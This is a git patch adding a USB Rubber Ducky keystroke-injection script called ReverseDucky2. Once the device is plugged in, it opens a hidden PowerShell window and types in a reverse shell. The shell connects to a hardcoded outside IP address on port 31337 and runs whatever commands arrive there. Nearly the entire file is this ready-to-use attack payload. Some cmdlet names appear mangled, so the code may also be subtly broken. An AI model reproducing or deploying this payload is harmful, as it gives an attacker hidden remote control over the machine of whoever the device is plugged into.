From fc7e0f72fff60fa86915df69b20c965db624c5c2 Mon Sep 17 00:00:00 2001
From: Denis Zheleztsov <dy_zheleztsov@betboom.org>
Date: Thu, 22 Aug 2024 10:27:33 +0300
Subject: [PATCH] Add ducky2

---
 ducky2.txt | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)
 create mode 100644 ducky2.txt

diff --git a/ducky2.txt b/ducky2.txt
new file mode 100644
index 0000000..87559a1
--- /dev/null
+++ b/ducky2.txt
@@ -0,0 +1,25 @@
+REM       ReverseDucky2
+REM       Version 1.1
+REM       OS: Windows / Linux(?) (Not tested with Powershell on Linux)
+REM       Author: 0iphor13
+
+REM       Reverse shell executed in the background
+REM       Fill in Attacker-IP and Port in Line 19
+REM       DON'T FORGET TO START LISTENER
+
+
+DELAY 1500
+GUI r
+DELAY 500
+STRING powershell -NoP -NonI -W hidden
+DELAY 250
+ENTER
+
+DELAY 200
+STRING $c=NewObject System.Net.Sockets.TCPClient("45.92.178.34", 31337);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$
+DELAY 100
+STRING s.Read($b,0,$b.Length))-ne 0){;$d=(NewObject -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$z=(ieX $d 2>&1|oU
+DELAY 100
+STRING t-String);$x=$z+"RD "+(pwd)+"#";$y=([text.encoding]::ASCII).GetBytes($x);$s.Write($y,0,$y.Length);$s.Flush()};$c.Close()
+DELAY 100
+ENTER